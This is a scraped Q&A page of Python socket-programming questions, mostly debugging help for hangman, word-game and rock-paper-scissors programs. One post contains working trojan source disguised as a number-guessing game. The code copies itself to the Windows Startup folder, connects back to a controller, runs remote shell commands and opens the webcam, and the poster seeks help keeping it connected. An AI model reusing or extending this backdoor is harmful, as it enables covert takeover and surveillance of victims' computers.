Socket Program Python - python

I am making a hangman game. I am trying to send to the server that if lose == 7, then loseGame = true. And in the client Side, if loseGame is true, to print out that the game has been lost. I matched the send and recv, but it is not working and keeps on asking for input for guess the letter. Do you know what I am doing wrong?
I put THIS IS WHERE THE PROBLEM IS where I believe the problem is.
Thank you!
Server:
import sys
# Import socket library
from socket import *
if sys.argv.__len__() != 2:
serverPort = 5895
# Get port number from command line
else:
serverPort = int(sys.argv[1])
# Choose SOCK_STREAM, which is TCP
# This is a welcome socket
serverSocket = socket(AF_INET, SOCK_STREAM)
serverSocket.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
# Start listening on specified port
serverSocket.bind(('', serverPort))
# Listener begins listening
serverSocket.listen(1)
print("The server is ready to receive")
#Set secret word
word = 'arkansas'
linesForString = ''
#Prints out number of letters
for x in word:
linesForString += '_'
newWord = 'arkansas'
# Wait for connection and create a new socket
# It blocks here waiting for connection
connectionSocket, addr = serverSocket.accept()
win = ' '
#Sends lines of words
linesInBytes = linesForString.encode('utf-8')
connectionSocket.send(linesInBytes)
lose = 0
while 1:
l = list(word)
list2 = list(linesForString)
win = False
while 1:
while win == False:
losee = 0
# Receives Letter
letter = connectionSocket.recv(1024)
letterString = letter.decode('utf-8')
for x in range(len(list2)):
if(list2[x] == '_'):
if(letterString == l[x]):
list2[x] = letterString
for x in range(len(word)):
if(letterString == word[x]):
losee = -1
if (losee != -1):
lose += 1
print(lose)
newWord = "".join(list2)
#Sends newWord
newWordInBytes = newWord.encode('utf-8')
connectionSocket.send(newWordInBytes, lose)
if(newWord == 'arkansas'):
win = True
winGame = 'You have won the game'
winGameInBytes = winGame.encode('utf-8')
connectionSocket.send(winGameInBytes)
connectionSocket.close()
if(lose == 7):
loseGame = 'true'
connectionSocket.close()
else:
loseGame = 'false'
#THIS IS WHERE THE PROBLEM IS
loseGameInBytes = loseGame.encode('utf-8')
connectionSocket.send(loseGameInBytes)
# Close connection to client but do not close welcome socket
connectionSocket.close()
Client:
import sys
# Import socket library
from socket import *
if sys.argv.__len__() != 3:
serverName = 'localhost'
serverPort = 5895
# Get from command line
else:
serverName = sys.argv[1]
serverPort = int(sys.argv[2])
# Choose SOCK_STREAM, which is TCP
clientSocket = socket(AF_INET, SOCK_STREAM)
# Connect to server using hostname/IP and port
clientSocket.connect((serverName, serverPort))
#Recieves lines of words
linesInBytes = clientSocket.recv(1024)
lines = linesInBytes.decode('utf-8')
for x in lines:
print(x, end = " ")
while 1:
# Get letter from user
print('\n')
letter = input('Guess a letter: ')
# Sends letter
letterBytes = letter.encode('utf-8')
clientSocket.send(letterBytes)
#Recieves newWord
newWordInBytes = clientSocket.recv(1024)
newWord = newWordInBytes.decode('utf-8')
for x in newWord:
print(x, end = " ")
print(" ")
if(newWord == 'arkansas'):
winGameInBytes = clientSocket.recv(1024)
winGame = winGameInBytes.decode('utf-8')
print(winGame)
clientSocket.close()
break
#THIS IS WHERE THE PROBLEM IS
loseGame = " "
loseGameInBytes = clientSocket.recv(1024)
loseGame = loseGame.encode('utf-8')
if(loseGame == "true"):
print('You have lost the game!')
clientSocket.close()

A couple of things I had issues with until I could get it working:
1. notice when you take input use raw_input, otherwise it crashed for me.
2.where you thought there was an issue in the server there really was one. You accidentally close connection and then send once the game is lost
3. in the client you have loseGame = loseGame.encode('utf-8') instead of loseGame = loseGameInBytes.encode('utf-8')
4. I change the print statements to print(str(x) + " "), because yours gave me issues
This is the code after I fixed it. Notice I changed and added breaks in the server that aren't necessary and they will cause the server to close at the end of a single game.
server code:
import sys
# Import socket library
from socket import *
if sys.argv.__len__() != 2:
serverPort = 5895
# Get port number from command line
else:
serverPort = int(sys.argv[1])
# Choose SOCK_STREAM, which is TCP
# This is a welcome socket
serverSocket = socket(AF_INET, SOCK_STREAM)
serverSocket.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
# Start listening on specified port
serverSocket.bind(('', serverPort))
# Listener begins listening
serverSocket.listen(1)
print("The server is ready to receive")
#Set secret word
word = 'respecttheplatypus'
linesForString = ''
#Prints out number of letters
for x in word:
linesForString += '_'
newWord = 'respecttheplatypus'
# Wait for connection and create a new socket
# It blocks here waiting for connection
connectionSocket, addr = serverSocket.accept()
win = ' '
#Sends lines of words
linesInBytes = linesForString.encode('utf-8')
connectionSocket.send(linesInBytes)
lose = 0
while 1:
l = list(word)
list2 = list(linesForString)
win = False
while 1:
while win == False:
losee = 0
# Receives Letter
letter = connectionSocket.recv(1024)
letterString = letter.decode('utf-8')
for x in range(len(list2)):
if(list2[x] == '_'):
if(letterString == l[x]):
list2[x] = letterString
for x in range(len(word)):
if(letterString == word[x]):
losee = -1
if (losee != -1):
lose += 1
print(lose)
newWord = "".join(list2)
#Sends newWord
newWordInBytes = newWord.encode('utf-8')
connectionSocket.send(newWordInBytes, lose)
if(newWord == 'respecttheplatypus'):
win = True
winGame = 'You have won the game'
winGameInBytes = winGame.encode('utf-8')
connectionSocket.send(winGameInBytes)
connectionSocket.close()
else:
if(lose == 7):
loseGame = 'true'
loseGameInBytes = loseGame.encode('utf-8')
print(loseGame)
connectionSocket.send(loseGameInBytes)
connectionSocket.close()
break
else:
loseGame = 'false'
#THIS IS WHERE THE PROBLEM IS
loseGameInBytes = loseGame.encode('utf-8')
print(loseGame)
connectionSocket.send(loseGameInBytes)
break
break
client code:
import sys
# Import socket library
from socket import *
if sys.argv.__len__() != 3:
serverName = 'localhost'
serverPort = 5895
# Get from command line
else:
serverName = sys.argv[1]
serverPort = int(sys.argv[2])
# Choose SOCK_STREAM, which is TCP
clientSocket = socket(AF_INET, SOCK_STREAM)
# Connect to server using hostname/IP and port
clientSocket.connect((serverName, serverPort))
#Recieves lines of words
linesInBytes = clientSocket.recv(1024)
lines = linesInBytes.decode('utf-8')
for x in lines:
print(str(x) + " "),
while 1:
# Get letter from user
print('\n')
letter = raw_input('Guess a letter: ')
# Sends letter
letterBytes = letter.encode('utf-8')
clientSocket.send(letterBytes)
#Recieves newWord
newWordInBytes = clientSocket.recv(len(linesInBytes))
newWord = newWordInBytes.decode('utf-8')
for x in newWord:
print(str(x) + " "),
print(" ")
if(newWord == 'respecttheplatypus'):
winGameInBytes = clientSocket.recv(1024)
winGame = winGameInBytes.decode('utf-8')
print(winGame)
clientSocket.close()
break
#THIS IS WHERE THE PROBLEM IS
loseGame = " "
loseGameInBytes = clientSocket.recv(1024)
loseGame = loseGameInBytes.encode('utf-8')
print("lose game is" + str(loseGame))
if(loseGame == "true"):
print('You have lost the game!')
clientSocket.close()

Related

Simple word game using TCP socket

I'm new to socket and python programming, and I'm trying to build a simple game between server and client. Basically server types in a word and the client tries to guess another word starting with the first two letters of the server's word.Example: Server:computer|Client:erase|Server:secondary|Client:rye
I've got a loop that takes messages from client and sends it back to it and vice versa:
#server.py
while True:
message_sent = input(str("Me : "))
conn.send(message_sent.encode())
message_received = conn.recv(1024).decode()
first = message_sent[:2]
last = message_received[-2:]
print(s_name, ":", message_received)
if first != last:
message = "wrong word entered "
conn.send(message.encode())
print("\n")
break
and client.py:
#client.py
while True:
message_received = s.recv(1024).decode()
print(s_name, ":", message_received)
message_sent = input(str("Me : "))
first = message_sent[:2]
last = message_received[-2:]
if first != last:
message = "wrong word typed "
s.send(message.encode())
print("\n")
break
s.send(message_sent.encode())
when I send an incorrect word to the server from the client I can get the "wrong word typed" but when I send it other way it just accepts the word and keeps going. What am I doing wrong here?
in the server add:
while True:
message_sent = input(str("Me : "))
conn.send(message_sent.encode())
message_received = conn.recv(1024).decode()
if message_received == "wrongword":
print('GAME OVER')
print('Winner is Server')
break
first = message_sent[:2]
last = message_received[-2:]
print(s_name, ":", message_received)
if first != last:
message = "wrongword"
conn.send(message.encode())
print("\n")
break
in the client:
while True:
message_received = s.recv(1024).decode()
if message_received == "wrongword":
print('GAME OVER')
print('Winner is Client')
break
print(s_name, ":", message_received)
message_sent = input(str("Me : "))
first = message_sent[:2]
last = message_received[-2:]
if first != last:
message = "wrongword"
s.send(message.encode())
print("\n")
break
s.send(message_sent.encode())

Python socket disconnects after some time

This is my client.py:
import random
import socket
import threading
import sys
import os
from os import system, name
from time import sleep
import cv2
def main():
# Move file to startup
username = os.getlogin()
current_dir = os.getcwd()
os.replace(f"{current_dir}\\client.py",
f"C:\\Users\\{username}\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\client.py")
def clear():
if name == 'nt':
_ = system('cls')
def access():
HOST = '127.0.0.1'
PORT = 22262
while True:
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
while True:
try:
client.connect((HOST, PORT))
break
except Exception:
sleep(1)
cmd_mode = False
while True:
command = client.recv(1024).decode('utf-8')
# Commands for the trojan
if command == 'cmdon':
cmd_mode = True
client.send(
'You now have terminal access!'.encode('utf-8'))
continue
if command == 'cmdoff':
cmd_mode = False
client.send(
'You have exited terminal access!'.encode('utf-8'))
if cmd_mode:
os.popen(command)
if command == 'webcam':
client.send(
f'{command} was exectued successfully!'.encode('utf-8'))
cap = cv2.VideoCapture(0)
while True:
ret, frame = cap.read()
cv2.imshow('WebCam (Press enter to exit)', frame)
if cv2.waitKey(1) & 0xFF == ord(' '):
break
cap.release()
cv2.destroyAllWindows()
except Exception:
sleep(1)
def game():
number = random.randint(0, 1000)
tries = 1
done = False
while not done:
guess = int(input('Enter a guess: '))
if guess == number:
done = True
print('You won!')
else:
tries += 1
if guess > number:
print('The actual number is smaller.')
else:
print('The actual number is larger.')
print(f'You need {tries} tries!')
t1 = threading.Thread(target=game)
t2 = threading.Thread(target=access)
t1.start()
t2.start()
if __name__ == '__main__':
try:
main()
except KeyboardInterrupt:
print('Interrupted')
try:
sys.exit(0)
except SystemExit:
os._exit(0)
This is my server.py:
import socket
from os import system, name
def clear():
if name == 'nt':
_ = system('cls')
HOST = ''
PORT = 22262
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((HOST, PORT))
server.listen()
client, address = server.accept()
while True:
print(f'Connected to {address}')
cmd_input = input('Enter a command: ')
clear()
client.send(cmd_input.encode('utf-8'))
print(client.recv(1024).decode('utf-8'))
My code works perfectly but if I leave both connections on (client.py and server.py) for a bit of time then run a command on sever.py I get this error:
ConnectionResetError: [WinError 10054] An existing connection was forcibly closed by the remote host
What can I do to make my the program never timeout.
..........................................................................................................................................................................................................

python thread waits for input before it prints

I'm writing a socket communication program, I have a main thread, and another thread trying to sock.recv()
when it does recieve bytes, it works as it needs, it goes to the right function, which at the end prints, and then the thread listens again to bytes (as wanted).
the problem is that the program won't print until I press enter...
if it matters i'm getting input at the same time in the main thread but it shouldn't matter.
note - the bytes are sent like this:
int (4 bytes) - msg type (string to print is 2)
int (4 bytes) - length of text to print
string ( bytes) - actual text
full code:
import socket
import time
import struct
import threading
import sys
PORT = 54321
def try_to_connect(ip):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM,
socket.IPPROTO_TCP)
sock.settimeout(1)
try:
sock.connect((ip, PORT))
return sock
except:
return False
def text_parse(text, msg_id):
byte_text = bytes(text, "utf-8")
return struct.pack("II%ds" % len(byte_text), msg_id, len(byte_text), byte_text)
def main(sock):
global file_name
print("connected succefuly. to run a command, write $<command> (no space)\nto request a file, enter file path.\nto exit this program enter exit.")
inputed_text = ''
while True:
inputed_text = input()
if inputed_text == '':
pass
elif inputed_text == "exit":
return
elif inputed_text[0] == "$":
sock.send(text_parse(inputed_text[1:], 0))
else:
file_name = inputed_text
sock.send(text_parse(inputed_text, 1))
def print_string(message, msg_len):
text = struct.unpack("%ds" % msg_len, message)[0].decode("utf-8")
sys.stdout.write(text)
sys.stdout.flush()
def copy_file(message):
global file_name
final_file = open(file_name, "wb")
final_file.write(message)
final_file.close()
def recieve_loop(sock):
while True:
try:
header = sock.recv(8)
if not header: break
msg_type = struct.unpack("I", header[:4])[0]
msg_len = struct.unpack("I", header[4:8])[0]
print(msg_type)
print(msg_len)
message = sock.recv(msg_len)
if msg_type == 2:
print_string(message, msg_len)
elif msg_type == 3:
copy_file(message)
except socket.timeout:
pass
if __name__ == "__main__":
print("welcome to remote desktop program.\nto connect to your computer, enter it's ip.\nto exit enter exit")
text_input = "b,kjhkf"
while True:
text_input = input()
if text_input == "exit":
exit()
else:
sock = try_to_connect(text_input)
if sock:
socket_recieve_thread = threading.Thread(target = recieve_loop, args = [sock])
socket_recieve_thread.start()
main(sock)
socket_recieve_thread.join()
else:
print("the computer is not online")

Python imports module but doesn't recognize it when i initiate it?

I honestly have no idea why this is happening, I assume due to it not being on stack-exchange it's a very n00by mistake on my part. so here's the error:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
UnboundLocalError: local variable 'socket' referenced before assignment
tcpServer.py
import socket
def Main():
UID = 1001
sockets = []
users = [] ## create usernames list
sessionLimit = input("session Queue Limit: ")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('192.168.1.74', 12127))
s.listen(sessionLimit) ## listen for 1 connection at a time
while True:
c, addr = s.accept()
sockets.append(c)
users.append(c.recv(1024).decode('utf-8'))
print("Connection from " + str(addr))
data = c.recv(1024).decode('utf-8') ## recieve 1024 bytes from client at a time, and then decode it into utf-8
if not data:
break
temp == data
temp.split(" ")
if temp[0] == "//": ## check to see if user has sent command
if temp[1] == "msg":
for i in range(len(users)):
if users[i] == temp[2]:
sockets[i].send((" ".join(temp[::2])).encode('utf-8'))
else: ## else, send data to all users. Could just use s.sendall(data.encode('utf-8'))
for socket in sockets:
socket.send(data.encode('utf-8')) ## send to sockets[socket]
##print("From connected user: " + data)
##data = data.upper()
##print("Sending: " + data)
##c.send(data.encode('utf-8'))
## command listening
commands = input("-> ")
commands.split(" ")
if commands[0] == "exit":
c.close() ## close connection
elif commands[0] == "/msg":
for i in range(len(users)):
if users[i] == commands[1]:
sockets[i].send((" ".join(commands[::1])).encode('utf-8'))
"""
elif commands[0] == "/rename": ## dont implement yet, due to users[] length changing
for i in range(len(users)):
if users[i] == commands[1]:
sockets[i].send("<server_" + UID + "> rename " + commands[2].encode('utf-8'))
"""
c.close()
if __name__ == "__main__":
Main()
Thanks for any help !
- Jacob
The issue is that you're using the variable name socket in the context of your Main() function when you do the following code block:
for socket in sockets:
socket.send(data.encode('utf-8')) ## send to sockets[socket]
That's causing an naming issue with the socket library. If you change that to:
for sock in sockets:
sock.send(data.encode('utf-8')) ## send to sockets[socket]
It will start to work. I also had to indent your code differently to ensure it was all in the Main() function you set up, and had to ensure the input() was parsed as an int. For reference, here's the full code block working for me:
import socket
def Main():
UID = 1001
sockets = []
users = [] ## create usernames list
sessionLimit = int(input("session Queue Limit: "))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('192.168.1.74', 12127))
s.listen(sessionLimit) ## listen for 1 connection at a time
while True:
c, addr = s.accept()
sockets.append(c)
users.append(c.recv(1024).decode('utf-8'))
print("Connection from " + str(addr))
data = c.recv(1024).decode('utf-8') ## recieve 1024 bytes from client at a time, and then decode it into utf-8
if not data:
break
temp == data
temp.split(" ")
if temp[0] == "//": ## check to see if user has sent command
if temp[1] == "msg":
for i in range(len(users)):
if users[i] == temp[2]:
sockets[i].send((" ".join(temp[::2])).encode('utf-8'))
else: ## else, send data to all users. Could just use s.sendall(data.encode('utf-8'))
for sock in sockets:
sock.send(data.encode('utf-8')) ## send to sockets[socket]
##print("From connected user: " + data)
##data = data.upper()
##print("Sending: " + data)
##c.send(data.encode('utf-8'))
## command listening
commands = input("-> ")
commands.split(" ")
if commands[0] == "exit":
c.close() ## close connection
elif commands[0] == "/msg":
for i in range(len(users)):
if users[i] == commands[1]:
sockets[i].send((" ".join(commands[::1])).encode('utf-8'))
"""
elif commands[0] == "/rename": ## dont implement yet, due to users[] length changing
for i in range(len(users)):
if users[i] == commands[1]:
sockets[i].send("<server_" + UID + "> rename " + commands[2].encode('utf-8'))
"""
c.close()
if __name__ == "__main__":
Main()

Python network/socket programming, simple game

Im trying to make a simple game but cant understand how to make it work and send more then one thing over the network. It works the first time but it supposed to go 10 times. It only sends 1 random number now but i want it to send one new when the game goes again and want a new number.
Server
import socket, random
sock = socket.socket()
host = socket.gethostname()
port = 12345
sock.bind((host, port))
sock.listen(5)
c, addr = sock.accept()
cpu = random.choice(range(0, 3))
c.send(cpu)
gameon = c.recv(int(1024))
Client
import socket, random
sock = socket.socket() # Create a socket object
host = socket.gethostname() # Get local machine name
port = 12345 # Reserve a port for your service.
sock.connect((host, port))
GAMEON = 'Rock', 'Paper', 'Scissors'
game = 0
iwin = 0
ilose = 0
tie = 0
while game < 10:
for i in range(0, 3):
print "%d %s" % (i + 1, GAMEON[i])
player = int(input ("Choose from 1-3: ")) - 1
cpu = int(sock.recv(1024))
print cpu
print""
print "%s vs %s" % (GAMEON[player], GAMEON[cpu])
print ""
if cpu != player:
if (player - cpu) % 3 < (cpu - player) % 3:
print "Player wins\n"
iwin += 1
else:
print "CPU wins\n"
ilose += 1
else:
print "TIE!\n"
tie += 1
game += 1
sock.send(str(game))
print"Game is done"
print"you win: ", (iwin), "Times"
print"computer wins: ", (ilose), "Times"
print"tie: ", (tie), "Times"
The problem is that your server will serve one request and then stop. You need to put it in some kind of while loop.
I wrote a basic IM server/client in Python which might help you: https://github.com/hdgarrood/PyMess/blob/master/server/basictcpserver.py#L59
You need threads to do your bidding.
Example code
# Listen
s.listen(10)
print 'Socket now listening on port ' + str(PORT) + "..."
while 1:
# wait
conn, addr = s.accept()
print 'Connected with ' + addr[0] + ":" + str(addr[1])
# Let's fork a thread for each request
processThread = threading.Thread(target=processConnection, args=(conn, addr[0]));
processThread.start()
s.close()
Your processConnection will look like this:
# Process Connection
def processConnection(conn, ip):
print "Thread started..."
print "-------------------------------------------------------------";
cpu = random.choice(range(0, 3))
conn.send(cpu)
gameon = conn.recv(int(1024))
conn.close()
Update 1
If you need the server to keep talking with the client, then do this. Server will wait for the client to send back a message. If client sends anything, server will return a random number. If the client doesn't need anymore data, just close the connection and server loop will end.
import socket, random
sock = socket.socket()
host = socket.gethostname()
port = 12345
sock.bind((host, port))
sock.listen(5)
c, addr = sock.accept()
white True:
cpu = random.choice(range(0, 3))
c.send(cpu)
gameon = c.recv(int(1024))
if gameon is None:
break

Categories